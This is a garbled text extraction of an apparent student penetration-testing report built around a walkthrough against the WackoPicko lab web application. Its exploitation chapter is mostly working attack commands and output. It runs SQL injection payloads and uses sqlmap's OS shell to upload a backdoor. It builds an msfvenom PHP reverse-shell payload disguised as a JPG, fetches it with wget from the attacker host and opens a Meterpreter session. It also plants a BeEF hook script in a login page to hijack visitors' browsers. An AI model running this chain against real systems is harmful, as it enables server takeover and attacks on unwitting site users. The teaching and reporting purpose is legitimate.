usersuse
coulddo this.
Attackerlinks
to unvalidated
redirectand
tricksvictims
intoclickingit.
Victimsare
more likelyto
clickon it,since
the linkisto a
validsite.
Attacker
targetsunsafe
forwardto
bypasssecurity
checks.
Applications frequently
redirect users to other
pages, or use internal
forwards in a similar
manner. Sometimes the
target page is specified in an
unvalidated parameter,
allowing attackers to choose
the destination page.
Detecting unchecked
redirects is easy. Look for
redirects where you can set
the full URL. Unchecked
forwards are harder,
because they target internal
pages.
Such redirects
may attempt
to install
malware or
trick victims
intodisclosing
passwordsor
othersensitive
information.
Unsafe
forwardsmay
allow access
control
bypass.
Consider the
business
value of
retaining
your users’
trust.
What if they
get owned
by malware?
What if
attackers can
access
internal only
functions.
XLII
Example Attack Scenarios:
Scenario #1: The application has a page called “redirect.jsp” which takes a single parameter
named “url”. The attacker crafts a malicious URL that redirects users to a malicious site that
performs phishing and installs malware.
http://www.example.com/redirect.jsp?url=evil.com
Scenario #2: The application uses forwards to route requests between different parts of the
site. To facilitate this, some pages use a parameter to indicate where the user should be
sent if a transaction is successful. In this case, the attacker crafts a URL that will pass the
application’s access control check and then forwards the attacker to administrative
functionality for which the attacker isn’t authorized.
http://www.example.com/boring.jsp?fwd=admin.jsp
XLIII
Chapter Three
Exploitation
Exploitation
Exploitation is the meridian for every security engineer. It is a great feeling to exploit a first
machine and get full control over that machine. Exploitation is a very difficult task to
accomplish. We need to know much about the target. In this chapter i will show you
advanced techniques to get shell on the target system and you will gain full control over the
victim system.
How to hack a website with Metasploit
By Sumedt Jitpukdebodin
Normally, Penetration Tester or a Hacker use Metasploit to exploit vulnerability services in
the target server or to create a payload to make a backdoor in the hacked server. But
Metastploit has improved with many plugins and modules and now it can do more than
that. It can be used to pentest web applications too.
In this article, I will show you how to use Metasploit for scanning to get the information of
web server and use Metasploit to be a vulnerability assessment of web application.
Scenario
In this article, we will try to attack client who use this vulnerability server. And this is the
detail of character in this scenario.
1. Attacker Machine - Backtrack 5 R3 192.168.1.137
2. Target – WackoPicko web application(one of website in OWASP Broken Web
Application v1.0) 192.168.1.138
XLIV
3.1. SCANNING PHASE
First thing when you want to hack server, you must get the information of target as much as
you can. So the first thing we must do is scan server.
Metastploit has “db_nmap” a module that use to run nmap (the most famous scanning tool)
and when it gets the result from nmap, it is putting the results into the database which was
created to keep the results. Follow these steps:
1. Open Metasploit console
root@bt:/ msfconsole
2. In the Metasploit console use db_nmap command with IP Address of target machine.
msf > db_nmap
[*] Usage: db_nmap [nmap options]
msf > db_nmap 192.168.77.138
3. We can check the result of scanning with “hosts” command.
msf > hosts –h
XLV
msf> hosts
4. You can use “services” command to receive a detail of services. And it has “created_at,
info, name, port, proto, state, updated_at” column for display.
msf > services –h
msf > services
XLVI
msf> services -c port,name,state
From above, the result shows that the target server has web service. Metasploit has module
for crawling a website too.
1. Pick up the auxiliary/scanner/http/crawler module.
msf> use auxiliary/scanner/http/crawler
XLVII
2. Specific the target with RHOST
msf auxiliary(crawler) > set RHOST 192.168.77.138
In this article, we focus to WackoPicko web application and we will specific it with URI
msf auxiliary(crawler) > set URI /WackoPicko/
3. Start crawling website
msf auxiliary(crawler) > run
From this phase, you can get the information from server and web application. The
next phase, we will use the information for attack it.
XLVIII
3.2. EXPLOIT PHASE
In this phase, we will try to attack it with vulnerability scanning module of Metasploit and
try to use it with another attack tool.
WMAP Plugin:
"WMAP is a general purpose web application scanning framework for Metasploit 3. The
architecture is simple and its simplicity is what makes it powerful. It's a different approach
compared to other open source alternatives and commercial scanners, as WMAP is not build
around any browser or spider for data capture and manipulation.", we will use this module
to vulnerability scanning website.
The step are
1. load wmap modules
msf auxiliary(crawler) > load wmap
2. In the scanning phase, we has already crawling the web and it keeps all information into
database. WMAP Plugin can read it to learn the structure of web application. And you can
display detail of web application with wmap_sites command.
msf auxiliary(crawler) > wmap_sites
XLIX
msf auxiliary(crawler) > wmap_sites –l
3. If you want to see the structure of web application, you can use wmap_sites command.
wmap_sites -s [target_id]
msf auxiliary(crawler) > wmap_sites -s 0
4. Now we are ready for scanning, so we will specific the target of web application with
L
wmap_targets command.
msf auxiliary(crawler) > wmap_targets
msf auxiliary(crawler) > wmap_targets –t
5. Start automate vulnerability scan with wmap_run command.
msf auxiliary(crawler) > wmap_run
msf auxiliary(crawler) > wmap_run –e
6. After finished scan, you can check the result of scan with wmap_vulns
LI
msf auxiliary(crawler) > wmap_vulns –l
From the result, we know some vulnerability of this web application such as
“sensitive file or directory”, “admin directory”, “back up directory”, “SQL Injection
vulnerability page”, etc. Now you can try to attack it from this result.
LII
3.3. SQL INJECTION WITH METASPLOIT
If you want to test the parameter that has SQL Injection vulnerability or not, you can try to
test it with Metasploit too. I will use auxiliary/scanner/http/blind_sql_query module for this
test.
1. After we scan with WMAP Plugin, we know that
http://192.168.77.138/WackoPicko/users/login.php has SQL Injection vulnerability and it
has 2 parameter: username, password. Now we try to test username parameter with
auxiliary/scanner/http/blind_sql_query module.
msf > use auxiliary/scanner/http/blind_sql_query
msf auxiliary(blind_sql_query) > show options
2. Specific the environment of target page.
msf auxiliary(blind_sql_query) > set DATA
username=hacker&password=password&submit=login
msf auxiliary(blind_sql_query) > set METHOD POST
msf auxiliary(blind_sql_query) > set PATH /WackoPicko/users/login.php
msf auxiliary(blind_sql_query) > set RHOSTS 192.168.77.138
LIII
3. Start to test.
msf auxiliary(blind_sql_query) > run
The result is “username” parameter has SQL Injection vulnerability. You can test another
SQL Injection technique [ Error Based Technique] with
auxiliary/scanner/http/error_sql_injection module.
Now we know “username” parameter of users/login.php page has vulnerability and we use
this vulnerability to owning the website with sqlmap. SQLMap is the famous tool for SQL
Injection and it great work with Metasploit.
LIV
1. we will use 3 options of sqlmap for this attack.
-u URL target url
-data=DATA Data string to be sent through POST
-random-agent Use randomly selected HTTP User-Agent header
--os-shell Prompt for an interactive operating system shell
2.Now, run the sqlmap with detail that we have. After this command, if the user that used
for this application has enough privilege, you can get the shell. (This below is the output
from SQLMap process for upload shell.)
root@bt:/pentest/database/sqlmap# ./sqlmap.py -u
"http://192.168.77.138/WackoPicko/users/login.php" --data
"username=hacker&password=password&submit=login" --os-shell
sqlmap/1.0-dev-4649450 - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is
illegal. It is the end user's responsibility to obey all applicable local, state and federal laws.
LV
Developers assume no liability and are not responsible for any misuse or damage caused by
this program.
[*] starting at 10:21:05
[10:21:05] [INFO] resuming back-end DBMS 'mysql'
[10:21:05] [INFO] testing connection to the target url
sqlmap got a 303 redirect to
'http://192.168.77.138:80/WackoPicko/users/home.php'. Do you want to follow?
[Y/n] Y
[10:21:07] [INFO] heuristics detected web page charset 'None'
[10:21:07] [INFO] heuristics detected web page charset 'ascii'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: username
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: username=hacker' AND 2163=2163 AND
'YJxM'='YJxM&password=password&submit=login
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: username=hacker' AND (SELECT 3246 FROM(SELECT
COUNT(*),CONCAT(0x3a6377663a,(SELECT (CASE WHEN (3246=3246) THEN 1
ELSE 0 END)),0x3a6268653a,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND
'oBNd'='oBNd&password=password&submit=login
---
[10:21:07] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
web application technology: PHP 5.3.2, Apache 2.2.14
back-end DBMS: MySQL 5
LVI
[10:21:07] [INFO] going to use a web backdoor for command prompt
[10:21:07] [INFO] fingerprinting the back-end DBMS operating system
[10:21:07] [INFO] the back-end DBMS operating system is Linux
[10:21:07] [INFO] trying to upload the file stager
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] PHP (default)
[4] JSP
> 3
[10:21:09] [WARNING] unable to retrieve the web server document root please provide the
web server document root [/var/www/]:
[10:21:10] [WARNING] unable to retrieve any web server path please provide any additional
web server full path to try to upload the agent [Enter for None]:
[10:21:10] [WARNING] unable to upload the file stager on '/var/www'
[10:21:10] [INFO] the file stager has been successfully uploaded on
'/var/www/WackoPicko/users' -
http://192.168.77.138:80/WackoPicko/users/tmputgqe.php
[10:21:10] [INFO] the backdoor has been successfully uploaded on
'/var/www/WackoPicko/users' -
http://192.168.77.138:80/WackoPicko/users/tmpblzgg.php
[10:21:10] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell>
Now we're in the target machine, we will create backdoor for make it easier to
connect back and easier to compromise this machine.
LVII
3. We will create backdoor with Metasploit(msfvenom command).
root@bt:~# msfvenom
no options
Usage: /opt/metasploit/msf3/msfvenom [options] <var=val>
Options:
-p, --payload [payload] Payload to use. Specify a '-' or stdin to use custom
payloads
-l, --list [module_type] List a module type example: payloads, encoders,
nops, all
-n, --nopsled [length] Prepend a nopsled of [length] size on to the payload
-f, --format [format] Output format (use --help-formats for a list)
-e, --encoder [encoder] The encoder to use
-a, --arch [architecture] The architecture to use
--platform [platform] The platform of the payload
-s, --space [length] The maximum size of the resulting payload
-b, --bad-chars [list] The list of characters to avoid example: 'x00xff'
-i, --iterations [count] The number of times to encode the payload
-c, --add-code [path] Specify an additional win32 shellcode file to include
-x, --template [path] Specify a custom executable file to use as a template
-k, --keep Preserve the template behavior and inject the payload as
a new thread
-o, --options List the payload's standard options
-h, --help Show this message
--help-formats List available formats
root@bt:~# msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.77.137
LPORT=443 -f raw > /var/www/bd.php
root@bt:~# mv /var/www/bd.php /var/www/bd.jpg
LVIII
4. In the shell of target machine, download the backdoor and change it to bd.php.
os-shell> wget http://192.168.77.137/bd.jpg
do you want to retrieve the command standard output? [Y/n/a] Y
command standard output:
---
--2012-08-26 23:47:21-- http://192.168.77.137/bd.php
Connecting to 192.168.77.137:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [text/html]
Saving to: `bd.php'
0K 100% 2.04M=0s
2012-08-26 23:47:21 (2.04 MB/s) - `bd.php' saved [10/10]
---
os-shell> pwd
do you want to retrieve the command standard output? [Y/n/a] y
command standard output: '/owaspbwa/owaspbwa-
svn/var/www/WackoPicko/users'
os-shell> mv bd.jpg bd.php
do you want to retrieve the command standard output? [Y/n/a] y
No output
LIX
5. Create the handler for waiting connection back from bd.php.
root@bt:~# msfcli multi/handler PAYLOAD=php/meterpreter/reverse_tcp
LHOST=192.168.77.137 LPORT=443 E
[*] Please wait while we load the module tree...
IIIIII dTb.dTb _.---._
II 4' v 'B .'"".'/|`.""'.
II 6. .P : .' / | `. :
II 'T;. .;P' '.' / | `.'
II 'T; ;P' `. / | .'
IIIIII 'YvP' `-.__|__.-'
I love shells --egypt
=[ metasploit v4.5.0-dev [core:4.5 api:1.0]
+ -- --=[ 932 exploits - 499 auxiliary - 151 post
+ -- --=[ 251 payloads - 28 encoders - 8 nops
=[ svn r15753 updated 11 days ago (2012.08.16)
Warning: This copy of the Metasploit Framework was last updated 11 days ago. We
recommend that you update the framework at least every other day. For information on
updating your copy of Metasploit, please see: https://community.rapid7.com/docs/DOC-
1306
LX
PAYLOAD => php/meterpreter/reverse_tcp
LHOST => 192.168.77.137
LPORT => 443
[*] Started reverse handler on 192.168.77.137:443
[*] Starting the payload handler...
6. Run the backdoor with your web browser. And now you will get the meterpreter in you
metsaploit console
=[ metasploit v4.5.0-dev [core:4.5 api:1.0]
+ -- --=[ 932 exploits - 499 auxiliary - 151 post
+ -- --=[ 251 payloads - 28 encoders - 8 nops
=[ svn r15753 updated 11 days ago (2012.08.16)
Warning: This copy of the Metasploit Framework was last updated 11 days ago. We
recommend that you update the framework at least every other day. For information on
updating your copy of Metasploit, please see: https://community.rapid7.com/docs/DOC-
1306
LXI
PAYLOAD => php/meterpreter/reverse_tcp
LHOST => 192.168.77.137
LPORT => 443
[*] Started reverse handler on 192.168.77.137:443
[*] Starting the payload handler...
[*] Sending stage (39217 bytes) to 192.168.77.138
[*] Meterpreter session 1 opened (192.168.77.137:443 -> 192.168.77.138:42757) at
2012-08-27 11:05:31 +0700
meterpreter >
Now you are in the owning machine and can do everything you want with Metasploit. In the
next, we will use BeEF to compromise the victim who visit website of this machine.
LXII
3.4. METASPLOIT WITH BEEF PLUGIN
And the last of this article, we will use Metasploit with BeEF(Browser Exploit Framework). So
what is BeEF. “BeEF hooks one or more web browsers as beachheads for the launching of
directed command modules. Each browser is likely to be within a different security context,
and each context may provide a set of unique attack vectors.”
1. Run the beef service
root@bt:/pentest/web/beef# ./beef -x -v
2. Go to Metasploit plugin path and download BeEF plugin of Metasploit from
“https://github.com/xntrik/beefmetasploitplugin.git”
$ cd /pentest/exploits/framework/msf3
$ git clone https://github.com/xntrik/beefmetasploitplugin.git
Initialized empty Git repository in /opt/metasploit/msf3/beefmetasploitplugin/.git
3. Move file beef.rb to msf/plugins and lib/beef to msf/lib
$ root@bt:/pentest/exploits/framework/msf3# mv beefmetasploitplugin/lib/beef lib/
$ root@bt:/pentest/exploits/framework/msf3# mv
beefmetasploitplugin/plugins/beef.rb plugins/
4. Install hpricot,json gem
$ root@bt:/pentest/exploits/framework/msf3# gem install hpricot json
5. In the Metasploit console, load BeEF plugin.
msf > load beef
LXIII
6. Connect to BeEF
msf > beef_connect
msf > beef_connect http://127.0.0.1:3000 beef beef
7. In this step, we want to run the BeEF script on any client who visit the login page.
Back to the shell meterpreter that you got in the last phase of sqlmap attack. Download
login.php page. Add the script
<script src='http://192.168.77.137:3000/hook.js></script>
into the file and upload it to host.
meterpreter > download login.php .
[*] downloading: login.php -> ./login.php
[*] downloaded : login.php -> ./login.php
root@bt:~# echo "<script src='http://192.168.77.137:3000/hook.js></script>" >> login.php
meterpreter > upload login.php .
[*] uploading : login.php -> .
[*] uploaded : login.php -> ./login.php
meterpreter >
Now when victim visit the login page, he will run the script of BeEF.
8. Go to BeEF web management interface(http://127.0.0.1:3000/ui/panel), login with
username “beef” and password “beef”
LXIV
9. If someone visit login.php page, he will attacked by BeEF and in the left panel of BeEF will
show the list of victim.
LXV
If you want to see the detail of victim, just click it. The detail of victim will appear in the right
panel.
So you can check the list of victim from Metasploit console too, with beef_online
command.
msf > beef_online
LXVI
And if you want to check the detail of victim in Metasploit console, use beef_target
command
msf > beef_target
msf > beef_target -i 0
10. Now you can run the command of BeEF with beef_target command
msf > beef_target -c 0 47
After run the beef_target command, in the BeEF's console, BeEF will use “Man-In-
The_Browser” command to victim.
LXVII
Chapter Four
Reporting of Web Application
4.1. SUMMARY OF FINDINGS
A summary of the findings for the OWASP SASAP Open 192.168.77.138 Assessment
Key
Cross-Site Scripting
AuthenticationandSessionManagement
MaliciousFile Execution
BrokenAccessControl
SQL Injection
LXVIII
4.2. OWASP TOP TEN 2013
The OWASPTop Ten (2013) providedstudentswithasolidoverview of the securitycritical areasthat
wouldbe assessedduringthe review.Inanattempttonarrow the scope of the securityassessment,
the participantsof the projectdividedintosevengroups,eachgroupselectingtheirownsecurity
critical area.For the remainderof the assessment,eachgroupwasconsidereda subjectmanner
expertin theirsecuritycritical area.Afterreviewingthe OWASPTopTen,the groupsselectedthe
followingsecuritycritical areasforreview:
1. BROKEN AUTHENTICATION
2. SQL INJECTION
3. CROSS-SITE SCRIPTING
Risk
Description
Threat
Level
Potential
Corporate Loss
Likelihood of
Exploitation
Affected
IP’s/URI
Recommendation
Broken
Authentication
The user can
login and get
the access with
any username
and password.
Server A significant
amount of
privileged
information
was found.
Because
there was
no
authenticatio
n it is trivial
to break in to
the system
and get
sensitive
information
192.168.7
7.138
Proper
authentication
mechanism
should be
implemented
along with a good
password policy.
SQL Injection
SQL injection
exists in the
username and
password
fields. This may
also allow an
attacker to run
arbitrary SQL
Query on the
server.
Server An attacker
can gain access
to personal
employee
information.
The version of
SQL server,
database, and
server name
was
also revealed.
It was possible
to enumerate
the entire
database table
and also quite
likely to run
malicious
SQL injection
is an old
technique
and it does
not require
much
technical
skills to
exploit the
database and
run malicious
queries.
192.168.7
7.138
It is advisable to
filter all the input
data before
running the SQL
query and allow
only valid
characters. For
e.g.:- disallow
single quotes (‘),
comments(--) etc.
Use least privilege
principle and
allow only the
necessary
privileges.
LXIX
commands like
“drop table”,
etc
Cross site
scripting It
allows an
attacker to run
arbitrary script
in the victim’s
browser.
Moder
ate
An attacker
may use this
flaw to trick
your web users
to give
him/her their
credentials
(cookie) which
can be used
for session
hijacking.
This attack is
dependent
on the victim
to execute a
crafted link.
192.168.7
7.138
All data on all the
pages should have
input as well as
output filtering. If
possible, meta-
characters
like <>,.?^&/~`’”-
()
from a user’s
input should be
completely
removed. Input:
‘<’ character
Modified during
output: ‘&lt’
Industry Standard References:
Some well-known, industry-standard references include:
 National Vulnerability Database (NVD)
 Common Vulnerability Scoring System(CVSS)
 Common Vulnerabilities and Exposure (CVE)
 Common Weakness Enumeration (CWE)
 Open Source Vulnerability Database (OSVDB)
Determining the Severity of the Risk:
In this step the likelihood estimate and the impact estimate are put together to calculate an
overall severity for this risk. This is done by figuring out whether the likelihood is low,
medium, or high and critical then does the same for impact.
LXX
4.3. ADVANTAGES OF PENETRATION TESTING SERVICES
Protect Your Company Image & Maintain Customer Loyalty. As a business owner, one of
your most valuable assets is your good name. All it takes is one incident of compromised
customer data and information can be extremely costly – in more ways than one.
Performing a penetration test allows you to avoid data incidents that could compromise
your company’s reputation.
Avoid Fines While Meeting Regulatory Requirements. Performing penetration testing
allows your firm to satisfy the auditing/compliance regulations including the following:
 GLBA
 PCI
 HIPAA
Penetration tests can also provide detailed reporting that can help your company avoid fines
levied for not being in compliance.
Avoid Costly Network Downtime. A security breach can be devastating due to lost
productivity and revenue, in addition to the IT efforts required to properly recover. The end
result could cost your company millions. Penetration testing allows you to thwart this
monetary loss by properly identifying and accessing risks before security breaches take
place.
Justify Your Security Spend. Penetration testing can evaluate future investments while
analyzing the effectiveness of your existing security products.
LXXI
4.4. LIMITATIONS OF PENETRATION TESTING
Penetration testing are useful practices that can help make an organization’s security
tighten. But penetration testing do have limitations which can be a project-based limitation
or the penetration testers skills themselves.
Limitations of Penetration Testing
Penetration testing cannot find all vulnerabilities in a target environment.
There are limitations based on the resources and restrictions of a test:
– Limitations of scope
– Limitations of time
– Limitations on access of penetration testers
– Limitations on methods of penetration testers
WASTHIS PROJECT BENEFICIAL TO YOUR STUDY OF APPLICATIONSOFTWARE SECURITY?
 Yes.
 The OWASP project was very beneficial to my study of Application Software Security.
In specific, this project provided the ability to modify requests on the fly in order to
escalate privileges and leverage numerous attacks.
 Yes, this project was the perfect supplement to the material we learned in class. I
would go so far as to say that this class would have not been as fruitful if we had not
experienced this during our time here.
 This project assisted greatly in my study of application software security. It was a
great opportunity to investigate the source code of Open WebMail and utilize
WebScarab to modify HTTP requests on the fly.
 This project was very beneficial because it provided hands-on experience. It was
much easier to understand the topical information.
 Not only was this beneficial, but it was the most useful thing that we have done.
LXXII
CONCLUSION
Security is continuum, not an absolute. The value of penetration testing lies in its results the
ones that answer the big question "WHY?" A successful penetration test indicates more
than a particular flaw, it identifies the process failures that produced the vulnerability, at the
first place. Fixing or patching the vulnerability detected does not mean an end to your
security worries or nightmares, it is just the beginning of a never-ending cycle.
A penetration test does not guarantee absolute security – it's just a measurement of your
security posture. So, "never have a false sense of security."
LXXIII
REFERENCE
https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology
https://www.cvedetails.com/vulnerabilities-by-types.php
http://www.nevisnetworks.com/solutions/vulnerability-assessment-and-penetration-testing/
https://www.owasp.org/index.php/Top_10_2013-Top_10
https://pentest-tools.com/website-vulnerability-scanning/web-server-scanner-nikto
http://securityidiots.com/Web-Pentest/SQL-Injection/Part-3-Basic-of-SQL-for-SQLi.html
https://dnsdumpster.com
https://www.acunetix.com/websitesecurity/cross-site-scripting/
https://www.offensive-security.com/metasploit-unleashed/wmap-web-scanner/
https://www.ibm.com/developerworks/library/se-owasptop10/

More Related Content

What's hot

Investigation of CryptoLocker Ransomware Trojans - Microsoft Windows
Investigation of CryptoLocker Ransomware Trojans - Microsoft WindowsInvestigation of CryptoLocker Ransomware Trojans - Microsoft Windows
Investigation of CryptoLocker Ransomware Trojans - Microsoft Windows
Aaron ND Sawmadal
 
Case Study of RSA Data Breach
Case Study of RSA Data BreachCase Study of RSA Data Breach
Case Study of RSA Data Breach
Kunal Sharma
 
Security Testing
Security TestingSecurity Testing
Security Testing
ISsoft
 
[OPD 2019] Inter-application vulnerabilities
[OPD 2019] Inter-application vulnerabilities[OPD 2019] Inter-application vulnerabilities
[OPD 2019] Inter-application vulnerabilities
OWASP
 
Software Security Testing
Software Security TestingSoftware Security Testing
Software Security Testing
srivinayak
 

What's hot (19)

Combating Phishing Attacks
Combating Phishing AttacksCombating Phishing Attacks
Combating Phishing Attacks
 
What is Penetration Testing?
What is Penetration Testing?What is Penetration Testing?
What is Penetration Testing?
 
Investigation of CryptoLocker Ransomware Trojans - Microsoft Windows
Investigation of CryptoLocker Ransomware Trojans - Microsoft WindowsInvestigation of CryptoLocker Ransomware Trojans - Microsoft Windows
Investigation of CryptoLocker Ransomware Trojans - Microsoft Windows
 
Bulletproof IT Security
Bulletproof IT SecurityBulletproof IT Security
Bulletproof IT Security
 
Briskinfosec - Threatsploit Report Augest 2021- Cyber security updates
Briskinfosec - Threatsploit Report Augest 2021- Cyber security updatesBriskinfosec - Threatsploit Report Augest 2021- Cyber security updates
Briskinfosec - Threatsploit Report Augest 2021- Cyber security updates
 
The New OWASP Top Ten: Let's Cut to the Chase
The New OWASP Top Ten: Let's Cut to the ChaseThe New OWASP Top Ten: Let's Cut to the Chase
The New OWASP Top Ten: Let's Cut to the Chase
 
Case Study of RSA Data Breach
Case Study of RSA Data BreachCase Study of RSA Data Breach
Case Study of RSA Data Breach
 
Wajug: Cyber war, Cyber Attacks and Ethical Hacking - Frédéric de Pauw - Dece...
Wajug: Cyber war, Cyber Attacks and Ethical Hacking - Frédéric de Pauw - Dece...Wajug: Cyber war, Cyber Attacks and Ethical Hacking - Frédéric de Pauw - Dece...
Wajug: Cyber war, Cyber Attacks and Ethical Hacking - Frédéric de Pauw - Dece...
 
IRJET - Web Vulnerability Scanner
IRJET - Web Vulnerability ScannerIRJET - Web Vulnerability Scanner
IRJET - Web Vulnerability Scanner
 
Penetration Testing Basics
Penetration Testing BasicsPenetration Testing Basics
Penetration Testing Basics
 
Cyber Attacks on Financial _ Vikjava
Cyber Attacks on Financial _ VikjavaCyber Attacks on Financial _ Vikjava
Cyber Attacks on Financial _ Vikjava
 
Information security
Information securityInformation security
Information security
 
Api security-present
Api security-presentApi security-present
Api security-present
 
A Review paper on Securing PHP based websites From Web Application Vulnerabil...
A Review paper on Securing PHP based websites From Web Application Vulnerabil...A Review paper on Securing PHP based websites From Web Application Vulnerabil...
A Review paper on Securing PHP based websites From Web Application Vulnerabil...
 
OWASP Top 10 2017 rc1 - The Ten Most Critical Web Application Security Risks
OWASP Top 10 2017 rc1 - The Ten Most Critical Web Application Security RisksOWASP Top 10 2017 rc1 - The Ten Most Critical Web Application Security Risks
OWASP Top 10 2017 rc1 - The Ten Most Critical Web Application Security Risks
 
Security Testing
Security TestingSecurity Testing
Security Testing
 
[OPD 2019] Inter-application vulnerabilities
[OPD 2019] Inter-application vulnerabilities[OPD 2019] Inter-application vulnerabilities
[OPD 2019] Inter-application vulnerabilities
 
Detecting malicious URLs using binary classification through ada boost algori...
Detecting malicious URLs using binary classification through ada boost algori...Detecting malicious URLs using binary classification through ada boost algori...
Detecting malicious URLs using binary classification through ada boost algori...
 
Software Security Testing
Software Security TestingSoftware Security Testing
Software Security Testing
 

Similar to Analysis of web application penetration testing

Network Vulnerability and Patching
Network Vulnerability and PatchingNetwork Vulnerability and Patching
Network Vulnerability and Patching
Emmanuel Udeagha B.
 
How Does a Data Breach Happen?
How Does a Data Breach Happen? How Does a Data Breach Happen?
How Does a Data Breach Happen?
Claranet UK
 
Factors Affecting The Threat Agent Involved
Factors Affecting The Threat Agent InvolvedFactors Affecting The Threat Agent Involved
Factors Affecting The Threat Agent Involved
Jennifer Campbell
 
ethical-hacking-guide
ethical-hacking-guideethical-hacking-guide
ethical-hacking-guide
Matt Ford
 

Similar to Analysis of web application penetration testing (20)

Top 25 SOC Analyst interview questions.pdf
Top 25 SOC Analyst interview questions.pdfTop 25 SOC Analyst interview questions.pdf
Top 25 SOC Analyst interview questions.pdf
 
Security Operation Center Fundamental
Security Operation Center FundamentalSecurity Operation Center Fundamental
Security Operation Center Fundamental
 
Top 25 SOC Analyst interview questions that You Should Know.pptx
Top 25 SOC Analyst interview questions that You Should Know.pptxTop 25 SOC Analyst interview questions that You Should Know.pptx
Top 25 SOC Analyst interview questions that You Should Know.pptx
 
CEH Domain 5.pdf
CEH Domain 5.pdfCEH Domain 5.pdf
CEH Domain 5.pdf
 
Domain 5 of the CEH: Web Application Hacking
Domain 5 of the CEH: Web Application HackingDomain 5 of the CEH: Web Application Hacking
Domain 5 of the CEH: Web Application Hacking
 
Network Vulnerability and Patching
Network Vulnerability and PatchingNetwork Vulnerability and Patching
Network Vulnerability and Patching
 
Top 20 certified ethical hacker interview questions and answer
Top 20 certified ethical hacker interview questions and answerTop 20 certified ethical hacker interview questions and answer
Top 20 certified ethical hacker interview questions and answer
 
Research Paper
Research PaperResearch Paper
Research Paper
 
How Does a Data Breach Happen?
How Does a Data Breach Happen? How Does a Data Breach Happen?
How Does a Data Breach Happen?
 
How Can I Reduce The Risk Of A Cyber-Attack?
How Can I Reduce The Risk Of A Cyber-Attack?How Can I Reduce The Risk Of A Cyber-Attack?
How Can I Reduce The Risk Of A Cyber-Attack?
 
Insight Brief: Security Analytics to Identify the 12 Indicators of Compromise
Insight Brief: Security Analytics to Identify the 12 Indicators of CompromiseInsight Brief: Security Analytics to Identify the 12 Indicators of Compromise
Insight Brief: Security Analytics to Identify the 12 Indicators of Compromise
 
Introduction To Information Security
Introduction To Information SecurityIntroduction To Information Security
Introduction To Information Security
 
Factors Affecting The Threat Agent Involved
Factors Affecting The Threat Agent InvolvedFactors Affecting The Threat Agent Involved
Factors Affecting The Threat Agent Involved
 
Secure coding guidelines
Secure coding guidelinesSecure coding guidelines
Secure coding guidelines
 
Ethical hacking interview questions and answers
Ethical hacking interview questions and answersEthical hacking interview questions and answers
Ethical hacking interview questions and answers
 
INTERNSHIPREVIEW-ISHAQ (1) [Recovered].pptx
INTERNSHIPREVIEW-ISHAQ (1) [Recovered].pptxINTERNSHIPREVIEW-ISHAQ (1) [Recovered].pptx
INTERNSHIPREVIEW-ISHAQ (1) [Recovered].pptx
 
Top_20_Incident_Responder_Interview_Questions_and_Answers_1.pdf
Top_20_Incident_Responder_Interview_Questions_and_Answers_1.pdfTop_20_Incident_Responder_Interview_Questions_and_Answers_1.pdf
Top_20_Incident_Responder_Interview_Questions_and_Answers_1.pdf
 
Top 20 Incident Responder Interview Questions and Answers (1).pdf
Top 20 Incident Responder Interview Questions and Answers (1).pdfTop 20 Incident Responder Interview Questions and Answers (1).pdf
Top 20 Incident Responder Interview Questions and Answers (1).pdf
 
Using Your Network as a Sensor for Enhanced Visibility and Security
Using Your Network as a Sensor for Enhanced Visibility and Security Using Your Network as a Sensor for Enhanced Visibility and Security
Using Your Network as a Sensor for Enhanced Visibility and Security
 
ethical-hacking-guide
ethical-hacking-guideethical-hacking-guide
ethical-hacking-guide
 

Recently uploaded

Jual Obat Aborsi Hongkong ( Asli No.1 ) 085657271886 Obat Penggugur Kandungan...
Jual Obat Aborsi Hongkong ( Asli No.1 ) 085657271886 Obat Penggugur Kandungan...Jual Obat Aborsi Hongkong ( Asli No.1 ) 085657271886 Obat Penggugur Kandungan...
Jual Obat Aborsi Hongkong ( Asli No.1 ) 085657271886 Obat Penggugur Kandungan...
ZurliaSoop
 
Salient Features of India constitution especially power and functions
Salient Features of India constitution especially power and functionsSalient Features of India constitution especially power and functions
Salient Features of India constitution especially power and functions
KarakKing
 

Recently uploaded (20)

Kodo Millet PPT made by Ghanshyam bairwa college of Agriculture kumher bhara...
Kodo Millet  PPT made by Ghanshyam bairwa college of Agriculture kumher bhara...Kodo Millet  PPT made by Ghanshyam bairwa college of Agriculture kumher bhara...
Kodo Millet PPT made by Ghanshyam bairwa college of Agriculture kumher bhara...
 
Basic Civil Engineering first year Notes- Chapter 4 Building.pptx
Basic Civil Engineering first year Notes- Chapter 4 Building.pptxBasic Civil Engineering first year Notes- Chapter 4 Building.pptx
Basic Civil Engineering first year Notes- Chapter 4 Building.pptx
 
Accessible Digital Futures project (20/03/2024)
Accessible Digital Futures project (20/03/2024)Accessible Digital Futures project (20/03/2024)
Accessible Digital Futures project (20/03/2024)
 
Beyond_Borders_Understanding_Anime_and_Manga_Fandom_A_Comprehensive_Audience_...
Beyond_Borders_Understanding_Anime_and_Manga_Fandom_A_Comprehensive_Audience_...Beyond_Borders_Understanding_Anime_and_Manga_Fandom_A_Comprehensive_Audience_...
Beyond_Borders_Understanding_Anime_and_Manga_Fandom_A_Comprehensive_Audience_...
 
Mehran University Newsletter Vol-X, Issue-I, 2024
Mehran University Newsletter Vol-X, Issue-I, 2024Mehran University Newsletter Vol-X, Issue-I, 2024
Mehran University Newsletter Vol-X, Issue-I, 2024
 
Plant propagation: Sexual and Asexual propapagation.pptx
Plant propagation: Sexual and Asexual propapagation.pptxPlant propagation: Sexual and Asexual propapagation.pptx
Plant propagation: Sexual and Asexual propapagation.pptx
 
Sociology 101 Demonstration of Learning Exhibit
Sociology 101 Demonstration of Learning ExhibitSociology 101 Demonstration of Learning Exhibit
Sociology 101 Demonstration of Learning Exhibit
 
